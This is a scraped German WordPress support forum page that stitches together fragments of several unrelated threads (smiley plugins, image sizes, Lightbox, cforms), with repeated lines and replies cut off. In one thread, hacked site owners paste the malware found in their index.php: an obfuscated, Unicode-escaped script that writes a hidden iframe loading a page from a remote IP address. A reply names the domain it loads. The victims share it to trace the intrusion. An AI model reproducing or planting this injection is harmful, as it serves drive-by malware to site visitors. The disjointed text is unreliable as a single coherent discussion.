Die Codes werden in der init.php des Plugins gespeichert. Diese sollte dann vor einem Update gesichert werden.
Ah ja, alles klar. Hätte ich mal die readme.txt genauer gelesen, wäre ich wohl auch selbst drauf gekommen ![]()
Um schreiben oder kommentieren zu können, benötigen Sie ein Benutzerkonto.
Sie haben schon ein Benutzerkonto? Melden Sie sich hier an.
Jetzt anmeldenHier können Sie ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellenDie Codes werden in der init.php des Plugins gespeichert. Diese sollte dann vor einem Update gesichert werden.
Ah ja, alles klar. Hätte ich mal die readme.txt genauer gelesen, wäre ich wohl auch selbst drauf gekommen ![]()
Habt ihr evtl. ein FTP Plugin für FireFox (oder anderen Browser) benutzt, dass man ggf. per Javascript z.B. auf Chrome Ebene aus einer kompromittierten Seite heraus auslesen könnte ?
Ich nicht, nein.
Alternativ kannst Du auch noch zu Custom Smilies 2.0 greifen. Läuft problemlos mit WP 2.5.1 (im Gegensatz zu WP-Grins) und stellt ebenso klickbare Smilies für Frontend und Backend bereit. Die "Smiliecodes" können übers Backend eingetragen werden, also ist kein Eingriff in die Core-Dateien von WordPress nötig.
Custom Smilies gefällt mir mittlerweile auch sehr gut und ist leicht zu konfigurieren. Man sollte halt nur bei Updates in Erinnerung behalten, dass die Smilies in wp-includes/images/smilies abgespeichert sind, und diesen Ordner sichern, bevor man eine neue WP-Version drüberbügelt :). Hast du mal ausprobiert, ob die Smiliecodes bei einem Update erhalten bleiben? In der Datenbank habe ich sie nirgends gefunden.
Mein Hoster meint, der Angriff hätte per FTP stattgefunden. Möglichweise wurde mein 8stelliges PW gehackt. Habe es schon geändert.
Das ist auch das, was mein Hoster meinte. Ich habe das FTP-Passwort geändert und sämtliche index.php-Dateien auf dem Webspace mit den Originaldateien ersetzt, seitdem ist Ruhe.
Was muss ich also in meiner wp-includes/media.php verändern, wenn ich da überhaupt rein muss?
PS: Habe entdeckt, dass Bilder automatisch in den Größen 150x150 bzw. 300x300 gespeichert werden. Meine Bilder werden auch einheitlich groß sein, aber sicher nicht in 150x150. Ich würde also sehr gerne in meiner media.php eine Größe festlegen ...
Du brauchst dazu in keiner Datei etwas zu verändern. Wenn das Bild eingefügt wird, einfach bei URL 'keine' anklicken, dann wird das Bild nicht verlinkt. Die Größen der Vorschaubilder kannst du unter Einstellungen -> Verschiedenes einstellen.
Hallo, zusammen
Ist es möglich, dass das Lightbox 2 Wordpress Plugin unter WP 2.5 nicht läuft?
Weiss jemand Rat, um diesen Konflikt zu umgehen oder gibt es eine Alternative?Herzlichen Dank schon mal im Voraus,
Batia
Es ist ziemlich sinnvoll, einen Link zum entsprechenden Plugin zu liefern, da wohl kaum jemand Lust hat, zu googlen, welches Plugin du nun meinen könntest.
Shutter Reloaded läuft jedenfalls mit WP 2.5.
sorry, haltet mich jetzt bitte nicht für bescheuert - aber wie binde ich ein formular von cforms II in den blog bzw. auf eine seite ein? ich hab da im editor keine diesbezügliche schaltfläche.
hm, danke
Wenn das Plugin aktiviert ist, findest du im Adminbereich doch eine sehr ausführliche Hilfeseite, auf der genau beschrieben ist, wie ein Formular eingebaut wird.
Was für eine Schaltfläche suchst du denn? Du gibst einfach dort, wo das Formular erscheinen soll, ein:
In der Datei wp-includes/media.php ist steht ein Maximalwert von 500px, den kannst du dort ändern. Du musst dann bei eventuellen Programmupdates allerdings jedesmal dran denken, ihn wieder zu ändern.
Wo oder wie kann ich die Elemente auf meinem Dashboard ändern oder löschen?
Zum Beispiel mit dem Dashboard Widget Manager.
Gibt es irgendwo eine Übersicht wo alle Classen stehen die WP automatisch einfügt?
.alignleft
.alignright
.aligncenter
.alignnone
644
[COLOR="LightBlue"]und freie Meinungsäußerung[/COLOR]
Ich habs dir als E-Mail-Anhang geschickt.
Ähh, wie jetzt :confused: :confused: Es geht mir hier überhaupt nicht darum, WordPress irgendwas 'anzulasten'. Ich habe mich an diesen Thread gehängt, da zwei meiner Seiten auf genau die gleiche Weise gehackt worden sind wie die Seite der Threaderstellerin und es vielleicht ganz interessant wäre, den Grund des Übels herauszukriegen. Ich habe hier, wenn ich richtig lese, nirgends geschrieben "dies Plugin nicht, aber dafür das dort und jenes sag ich gar nicht erst, hab ich aber doch laufen".
Noch mal zu den Einzelheiten:
Befallen war die index.php im Rootverzeichnis meiner beiden Seiten, die sah so aus:
<?php
/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?><!-- ~ --><!-- Nerzul --><script type="text/javascript">
document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0035\u0038\u002e\u0036\u0035\u002e\u0032\u0033\u0035\u002e\u0034\u0031\u002f\u006c\u006c\u006c\u006c\u002f\u0073\u0074\u0064\u0073\u002f\u0067\u006f\u002e\u0070\u0068\u0070\u003f\u0073\u0069\u0064\u003d\u0031\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0076\u0069\u0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u003a\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0070\u006f\u0073\u0069\u0074\u0069\u006f\u006e\u003a\u0061\u0062\u0073\u006f\u006c\u0075\u0074\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
</script><!-- Nerzul --><!-- ~ -->
Dieser JavaScript-Aufruf ließ sich zwar schnell und simpel wieder aus der index.php entfernen; die Frage ist aber, wie kam er da rein?
Ich kann auch gerne die Plugins meiner zwei befallenen Seiten noch mal explizit aufführen:
Seite 1 hat folgende installierte und aktivierte Plugins:
1. Semmelstatz (das momentan wohl nicht zum Download bereitsteht, daher kein Link)
2. Shutter Reloaded
Seite 2 hat die 2 oben genannten nicht installiert, was einfach eine Annahme meinerseits dafür sein sollte, dass sie also wohl eher nicht als Ursache in Frage kommen, und nicht als 'Verschleierung meines Pluginumfeldes' gedacht war. Es sind dort installiert:
1. Custom Query String
2. Less
3. PXS Mailform
4. WP-Forecast
5. Zap_NewWindow
Das Paged-Comments-Plugin ist auf keiner dieser Seiten installiert, ich habe auch keine Ahnung, warum das hier überhaupt thematisiert wurde.
Svenja, es wäre schön, wenn du deine Plugins hier auch nochmal kurz auflistest, damit wir vergleichen können, ob es da eventuell irgendwelche Übereinstimmungen gibt.
Monika, nein, wie ich oben geschrieben habe, ist auf einer der betroffenen Seiten lediglich Semmelstatz und Shutter Reloaded installiert, und das Plugin, über das codestyling schreibt, ist auf der zweiten meiner betroffenen Seiten ebenfalls nicht installiert. Auf dieser zweiten Seite sind Semmelstatz und Shutter Reloaded übrigens nicht installiert. Also sehe ich pluginmäßig keine Zusammenhänge.
ja das geht auch leichter...
und deswegen, weil man wo eine Schwachstelle hat, muss ein *zufällig durchs WWW* jagender Angreifer einem noch nicht gefunden haben.
informier den Pluginautoren, das ist immer die erste Anlaufstelle
lg
Was meinst du denn, welchen Pluginautor?
Ich hab mir das Plugin mal runtergeladen, das du als Paged Comments auf deinen Seiten beschreibst.
Ich hab es nur überflogen (weil schon sehr spät/oder früh ist?) aber das scheint mir Potential für DB Injection zu haben
Es ist allerdings so, dass die Seiten, auf denen ich Paged Comments einsetze, alle nicht befallen waren, auch mein Testblog, den ich hier in meiner Signatur habe, nicht. Es ist (bislang) auch keine Seite betroffen, bei der WP in einem Unterverzeichnis läuft, sondern nur Seiten, in denen es im Root installiert ist.
Gravatare nutze ich nicht.
Hat denn irgendjemand noch eine Idee, wie das Ding dahin kam und was man tun kann, damit das nicht wieder passiert?
Wäre es möglich eine Pluginliste zu bekommen (am Besten mit Download Links und von mir aus auch als PM), damit ich das mal analysieren kann ?
Plugins sind so gut wie keine installiert: Semmelstatz, zu dem es momentan wohl keinen Downloadlink gibt, und Shutter Reloaded.
Sollte man eigentlich. Es hat ja nicht nur den Nachteil, das potentielle Kunden abgeschreckt und Bestandskunden schockiert sind, wenn deren Virensucher aufschreit, sondern Google stellt irgendwann deine Seite als potentiell gefährlich in der Suchanfrage dar! Das geht dann auch nicht mehr von allein weg, da mußt du Google kontaktieren.
Ich würde schnellstens den Code aus der index.php löschen!
Ist wäre wichtig zu wissen, ob das schon vor 2.5.1 drin war und du es nur durch ein Update quasi übernommen hast oder ob er es geschafft hat, sich in eine pure 2.5.1 direkt einzunisten. Das ist ein himmelweiter Unterschied.
Ich habe ihn nicht übernommen, er ist erst nach dem Update aufgetaucht.
Ich hatte genau den gleichen in 2 WP-Installationen (unter 2.5.1). Er sitzt in der index.php im Rootverzeichnis. Während die Seite lädt, sieht man unten in der Statusleiste, dass versucht wird, ein 'xanjan.cn' zu laden.